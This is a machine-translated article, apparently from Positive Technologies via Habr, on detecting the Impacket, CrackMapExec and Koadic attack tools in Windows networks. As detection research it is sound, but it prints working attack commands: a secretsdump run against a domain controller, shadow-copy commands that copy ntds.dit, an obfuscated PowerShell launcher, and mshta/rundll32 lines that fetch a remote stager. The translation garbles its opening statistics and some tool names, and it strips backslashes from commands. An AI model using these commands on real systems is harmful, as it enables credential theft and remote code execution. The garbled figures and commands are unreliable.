Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata

Broj napada u korporativnom sektoru svake godine raste: npr. zabilježio 2017% više jedinstvenih incidenata u 13 nego u 2016. godini, a na kraju 2018. 27% više incidenatanego u prethodnom periodu. Uključujući i one u kojima je glavni radni alat Windows operativni sistem. U 2017-2018, APT Dragonfly, APT28, APT MuddyWater izvršio napade na vladine i vojne organizacije u Evropi, Sjevernoj Americi i Saudijskoj Arabiji. I za to su koristili tri alata - Impacket, CrackMapExec и Koadic. Njihov izvorni kod je otvoren i dostupan na GitHubu.

Vrijedi napomenuti da se ovi alati ne koriste za početni prodor, već za razvoj napada unutar infrastrukture. Napadači ih koriste u različitim fazama napada nakon prodora perimetra. To je, inače, teško otkriti i često samo uz pomoć tehnologije otkrivanje tragova kompromitacije u mrežnom prometu ili alate za detektovati aktivne akcije uljeza nakon što on prodre u infrastrukturu. Alati pružaju različite funkcije, od prijenosa datoteka do interakcije s registrom i izvršavanja naredbi na udaljenom računalu. Proveli smo studiju ovih alata kako bismo utvrdili njihovu mrežnu aktivnost.

Šta smo trebali učiniti:

  • Shvatite kako funkcionišu alati za hakovanje. Saznajte šta napadači trebaju iskoristiti i koje tehnologije mogu koristiti.
  • Pronađite ono što nije otkriveno alatima za sigurnost informacija u prvim fazama napada. Faza izviđanja se može preskočiti, bilo zato što je napadač interni napadač, ili zato što napadač iskorištava nedostatak u infrastrukturi koji ranije nije bio poznat. Postaje moguće obnoviti cijeli lanac njegovih akcija, pa se javlja želja za otkrivanjem daljnjeg kretanja.
  • Uklonite lažne pozitivne rezultate iz alata za otkrivanje upada. Ne smijemo zaboraviti da kada se određene radnje otkriju samo na osnovu obavještajnih podataka, moguće su česte greške. Obično u infrastrukturi postoji dovoljan broj načina, koji se na prvi pogled ne razlikuju od legitimnih, za dobijanje bilo kakve informacije.

Šta ovi alati daju napadačima? Ako je u pitanju Imppacket, napadači dobijaju veliku biblioteku modula koji se mogu koristiti u različitim fazama napada nakon prodora na perimetar. Mnogi alati koriste Imppacket module interno, kao što je Metasploit. Ima dcomexec i wmiexec za daljinsko pokretanje komandi, secretsdump za dodavanje memorijskih naloga iz Imppacketa. Kao rezultat, ispravna detekcija aktivnosti takve biblioteke će osigurati detekciju derivata.

O CrackMapExec-u (ili jednostavno CME), kreatori su napisali “Powered by Imppacket” s razlogom. Osim toga, CME ima gotovu funkcionalnost za popularne scenarije: ovo je Mimikatz za dobijanje lozinki ili njihovih heševa, te uvođenje Meterpreter ili Empire agenta za daljinsko izvršenje i Bloodhounda.

Naš treći alat po izboru je Koadic. Prilično je svjež, predstavljen je na međunarodnoj hakerskoj konferenciji DEFCON 25 2017. godine i ima nestandardan pristup: radi preko HTTP-a, Java Script-a i Microsoft Visual Basic Script-a (VBS). Ovaj pristup se naziva život van zemlje: alat koristi skup zavisnosti i biblioteka ugrađenih u Windows. Kreatori ga zovu COM Command & Control, ili C3.

IMPACKET

Funkcionalnost Imppacketa je vrlo široka, u rasponu od izviđanja unutar AD i prikupljanja podataka sa internih MS SQL servera, završavajući tehnikama za dobijanje akreditiva: ovo je SMB relejni napad, i dobijanje datoteke ntds.dit koja sadrži hešove korisničke lozinke sa domena kontroler. Impacket takođe izvršava komande na daljinu koristeći četiri različite metode: preko WMI, servisa za upravljanje Windows planerom, DCOM i SMB, a za to su mu potrebni akreditivi.

tajna deponija

Hajde da pogledamo secretsdump. Ovo je modul koji može ciljati i korisničke mašine i kontrolere domena. Pomoću njega možete dobiti kopije LSA, SAM, SECURITY, NTDS.dit memorijskih područja, tako da se može vidjeti u različitim fazama napada. Prvi korak u radu modula je autentifikacija putem SMB-a, koja zahtijeva ili korisničku lozinku ili njegov hash da bi se automatski izvršio Pass the Hash napad. Slijedi zahtjev za otvaranje pristupa Service Control Manager-u (SCM) i pristup registru pomoću winreg protokola, pomoću kojeg napadač može saznati podatke o granama koje ga zanimaju i dobiti rezultate putem SMB-a.

Na sl. 1 vidimo kako se, kada se koristi winreg protokol, pristup dobija pomoću ključa registratora sa LSA. Da biste to učinili, koristite naredbu DCERPC sa opcodeom 15 - OpenKey.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 1. Otvaranje ključa registratora pomoću winreg protokola

Nadalje, kada se dobije pristup po ključu, vrijednosti se spremaju naredbom SaveKey sa opcodeom 20. Imppacket to radi na vrlo specifičan način. Pohranjuje vrijednosti u datoteku čije je ime niz od 8 nasumičnih znakova sa dodatkom .tmp. Dodatno, dalje istovar ovog fajla se dešava preko SMB-a iz System32 direktorijuma (slika 2).

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 2. Šema za dobijanje ključa registratora sa udaljene mašine

Ispostavilo se da takvu aktivnost na mreži možete otkriti tako što ćete upiti određene grane registra koristeći winreg protokol, određena imena, naredbe i njihov redoslijed.

Takođe, ovaj modul ostavlja tragove u Windows dnevniku događaja, zahvaljujući čemu se lako otkriva. Na primjer, kao rezultat izvršavanja naredbe

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

u dnevniku Windows Server 2016 vidjet ćemo sljedeći ključni slijed događaja:

1. 4624 - Daljinska prijava.
2. 5145 - provjeravanje prava pristupa udaljenoj usluzi winreg.
3. 5145 - provjera prava pristupa datoteci u System32 direktoriju. Datoteka ima nasumično ime pomenuto gore.
4. 4688 - kreiranje cmd.exe procesa koji pokreće vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - kreiranje procesa sa naredbom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - kreiranje procesa sa naredbom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - kreiranje procesa sa naredbom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Kao i mnogi alati nakon eksploatacije, Imppacket ima module za daljinsko izvršavanje naredbi. Fokusiraćemo se na smbexec, koji vam daje interaktivnu komandnu ljusku na udaljenoj mašini. Ovaj modul također zahtijeva autentifikaciju putem SMB-a bilo lozinkom ili njenim hash-om. Na sl. 3 vidimo primjer rada takvog alata, u ovom slučaju to je lokalna administratorska konzola.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 3. smbexec interaktivna konzola

Prvi korak u smbexecu nakon provjere autentičnosti je otvaranje SCM-a pomoću naredbe OpenSCManagerW(15). Upit je značajan: ima polje MachineName postavljeno na DUMMY.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 4. Zahtjev za otvaranje Service Control Manager

Zatim se servis kreira pomoću naredbe CreateServiceW (12). U slučaju smbexec-a, svaki put možemo vidjeti istu logiku izgradnje naredbi. Na sl. 5 zelena boja označava nepromjenjive parametre komande, žuta - šta napadač može promijeniti. Lako je uočiti da se ime izvršne datoteke, njen direktorij i izlazna datoteka mogu promijeniti, ali ostalo je mnogo teže promijeniti bez narušavanja logike modula Imppacket.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 5. Zahtjev za kreiranje usluge koristeći Service Control Manager

Smbexec također ostavlja jasne tragove u Windows dnevniku događaja. U dnevniku Windows Server 2016 za interaktivnu komandnu ljusku s naredbom ipconfig, vidimo sljedeći ključni slijed događaja:

1. 4697 - instaliranje usluge na mašini žrtve:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - kreiranje cmd.exe procesa sa argumentima iz tačke 1.
3. 5145 - provjeravanje prava pristupa __izlaznoj datoteci u C$ direktoriju.
4. 4697 - Instaliranje usluge na žrtvinoj mašini.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - kreiranje cmd.exe procesa sa argumentima iz tačke 4.
6. 5145 - provjeravanje prava pristupa __izlaznoj datoteci u C$ direktoriju.

Imppacket je osnova za razvoj alata za napad. Podržava skoro sve protokole u Windows infrastrukturi i istovremeno ima svoje karakteristike. Ovdje su specifični winreg zahtjevi i korištenje SCM API-ja sa karakterističnim formiranjem naredbi, te format imena datoteka i SMB share SYSTEM32.

CRACKMAPEXEC

CME alat je prvenstveno dizajniran za automatizaciju onih rutinskih radnji koje napadač mora izvršiti kako bi napredovao unutar mreže. Omogućava vam da radite u sprezi sa ozloglašenim agentom Empire i Meterpreterom. Da bi izvršio komande nevidljivo, CME ih može prikriti. Koristeći Bloodhound (zasebni alat za izviđanje), napadač može automatizirati pretragu aktivne sesije administratora domene.

progonitelj

Bloodhound kao samostalni alat omogućava vam da provodite napredno izviđanje unutar mreže. Prikuplja podatke o korisnicima, mašinama, grupama, sesijama i dolazi kao PowerShell skripta ili binarni fajl. LDAP ili protokoli bazirani na SMB se koriste za prikupljanje informacija. CME integracioni modul vam omogućava da preuzmete Bloodhound na mašinu žrtve, pokrenete ga i dobijete prikupljene podatke nakon izvršenja, čime automatizujete radnje u sistemu i činite ih manje uočljivim. Grafička ljuska Bloodhounda predstavlja prikupljene podatke u obliku grafikona, što vam omogućava da pronađete najkraći put od napadačeve mašine do administratora domena.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 6. Bloodhound interfejs

Za pokretanje na žrtvinoj mašini, modul kreira zadatak koristeći ATSVC i SMB. ATSVC je interfejs za rad sa Windows Task Schedulerom. CME koristi svoju NetrJobAdd(1) funkciju za kreiranje poslova preko mreže. Primjer onoga što CME modul šalje prikazan je na sl. 7: ovo je poziv naredbi cmd.exe i zamagljeni kod u obliku argumenata u XML formatu.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Fig.7. Kreiranje zadatka putem CME-a

Nakon što je zadatak predat na izvršenje, žrtvina mašina pokreće samog Bloodhounda i to se vidi u saobraćaju. Modul karakterišu LDAP upiti za dobijanje standardnih grupa, lista svih mašina i korisnika u domenu, dobijanje informacija o aktivnim korisničkim sesijama preko SRVSVC NetSessEnum zahteva.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 8. Dobivanje liste aktivnih sesija putem SMB

Osim toga, pokretanje Bloodhounda na žrtvinoj mašini sa omogućenom revizijom prati događaj sa ID-om 4688 (kreiranje procesa) i imenom procesa «C:WindowsSystem32cmd.exe». Značajni u njemu su argumenti komandne linije:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

Modul enum_avproducts je vrlo zanimljiv sa stanovišta funkcionalnosti i implementacije. WMI vam omogućava da koristite WQL jezik upita za dobijanje podataka iz različitih Windows objekata, što je u suštini ono što ovaj CME modul koristi. Generiše upite klasama AntiSpywareProduct i AntiMirusProduct o zaštitnim alatima instaliranim na mašini žrtve. Da bi dobio potrebne podatke, modul se povezuje na prostor imena rootSecurityCenter2, zatim generiše WQL upit i prima odgovor. Na sl. 9 prikazuje sadržaj takvih zahtjeva i odgovora. U našem primjeru pronađen je Windows Defender.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 9. Mrežna aktivnost modula enum_avproducts

Često se revizija WMI (Trace WMI-Activity), u čijim događajima možete pronaći korisne informacije o WQL upitima, može isključiti. Ali ako je omogućeno, onda ako se pokrene skripta enum_avproducts, bit će pohranjen događaj s ID-om 11. Sadržat će ime korisnika koji je podnio zahtjev i ime u imenskom prostoru rootSecurityCenter2.

Svaki od CME modula imao je svoje artefakte, bilo da se radi o specifičnim WQL upitima ili kreiranju određene vrste zadatka u planeru zadataka sa zamagljivanjem i aktivnostima specifičnom za Bloodhound u LDAP-u i SMB.

KOADIC

Posebnost Koadic-a je upotreba ugrađenih JavaScript i VBScript interpretatora u Windows-u. U tom smislu, prati trend življenja od zemlje - to jest, nema eksterne zavisnosti i koristi standardne Windows alate. Ovo je alat za punopravni Command & Control (CnC), jer se nakon infekcije na mašinu ugrađuje "implantat" koji omogućava njegovu kontrolu. Takva mašina, u koadskoj terminologiji, naziva se "zombi". Ako nema dovoljno privilegija da u potpunosti radi na strani žrtve, Koadic ima mogućnost da ih podigne koristeći tehnike zaobilaženja kontrole korisničkog računa (UAC bypass).

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 10. Koadic komandna školjka

Žrtva mora pokrenuti komunikaciju sa Command & Control serverom. Da bi to učinila, ona treba da pristupi unaprijed pripremljenom URI-ju i dobije glavno tijelo Koadica koristeći jedan od bijdžera. Na sl. 11 pokazuje primjer za stager mshta.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 11. Inicijalizacija sesije sa CnC serverom

Pomoću varijable WS odgovora, postaje jasno da se izvršenje dešava preko WScript.Shell, a varijable STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sadrže ključne informacije o parametrima trenutne sesije. Ovo je prvi par zahtjev-odgovor u HTTP vezi sa CnC serverom. Naknadni zahtjevi su direktno vezani za funkcionalnost prozvanih modula (implantata). Svi Koadic moduli rade samo sa aktivnom CnC sesijom.

Mimikatz

Baš kao što CME radi sa Bloodhoundom, Koadic radi sa Mimikatzom kao zasebnim programom i ima nekoliko načina da ga pokrene. Ispod je par zahtjev-odgovor za preuzimanje Mimikatz implantata.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 12. Prebacite Mimikatza u Koadic

Možete vidjeti kako se promijenio format URI-ja u zahtjevu. Ima vrijednost za varijablu csrf, koja je odgovorna za odabrani modul. Ne obraćajte pažnju na njeno ime; svi znamo da se CSRF obično drugačije shvata. Kao odgovor, došao je isti glavni dio Koadića, u koji je dodan kod vezan za Mimikatza. Prilično je velika, pa pogledajmo ključne tačke. Ovo je base64 kodirana Mimikatz biblioteka, serijalizovana .NET klasa koja će je ubaciti i argumenti za pokretanje Mimikatza. Rezultat izvršenja se prenosi preko mreže u čistom tekstu.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 13. Rezultat pokretanja Mimikatza na udaljenoj mašini

Exec_cmd

Koadic također ima module koji mogu daljinski izvršavati komande. Ovdje ćemo vidjeti istu metodu generiranja URI-ja i poznate varijable sid i csrf. U slučaju modula exec_cmd, u tijelo se dodaje kod koji je sposoban za izvršavanje naredbi ljuske. Sljedeći kod je prikazan u HTTP odgovoru CnC servera.

Kako otkriti napade na Windows infrastrukturu: istraživanje hakerskih alata
Rice. 14. Šifra implantata exec_cmd

Varijabla GAWTUUGCFI sa poznatim WS atributom je potrebna za izvršavanje koda. Uz njegovu pomoć, implant poziva ljusku, obrađujući dvije grane koda - shell.exec s povratkom izlaznog toka podataka i shell.run bez vraćanja.

Koadic nije tipičan alat, ali ima svoje artefakte pomoću kojih se može pronaći u legitimnom prometu:

  • posebno formiranje HTTP zahtjeva,
  • koristeći winHttpRequests API,
  • kreiranje WScript.Shell objekta preko ActiveXObject,
  • veliko izvršno tijelo.

Početna veza pokreće stager, tako da postaje moguće otkriti njegovu aktivnost kroz Windows događaje. Za mshta, ovo je događaj 4688, koji ukazuje na kreiranje procesa sa start atributom:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Dok pokrećete Koadic, može se vidjeti ostalih 4688 događaja sa atributima koji ga savršeno karakteriziraju:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

nalazi

Trend življenja od zemlje postaje sve popularniji među sajber kriminalcima. Za svoje potrebe koriste ugrađene Windows alate i mehanizme. Vidimo da se popularni alati Koadic, CrackMapExec i Imppacket koji slijede ovaj princip češće pojavljuju u APT izvještajima. Raste i broj fork-ova na GitHubu za ove alate, pojavljuju se novi (sada ih je već oko hiljadu). Trend postaje sve popularniji zbog svoje jednostavnosti: napadačima nisu potrebni alati treće strane, već su na mašinama žrtava i pomažu u zaobilaženju sigurnosnih mjera. Fokusirani smo na proučavanje mrežne interakcije: svaki gore opisani alat ostavlja svoje tragove u mrežnom prometu; njihova detaljna studija nam je omogućila da podučavamo naš proizvod PT Network Attack Discovery da ih otkriju, što u konačnici pomaže da se istraži cijeli lanac sajber incidenata koji ih uključuju.

Autori:

  • Anton Tyurin, šef odjela za stručne usluge, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, stručnjak, PT Expert Security Center, Positive Technologies

izvor: www.habr.com

Dodajte komentar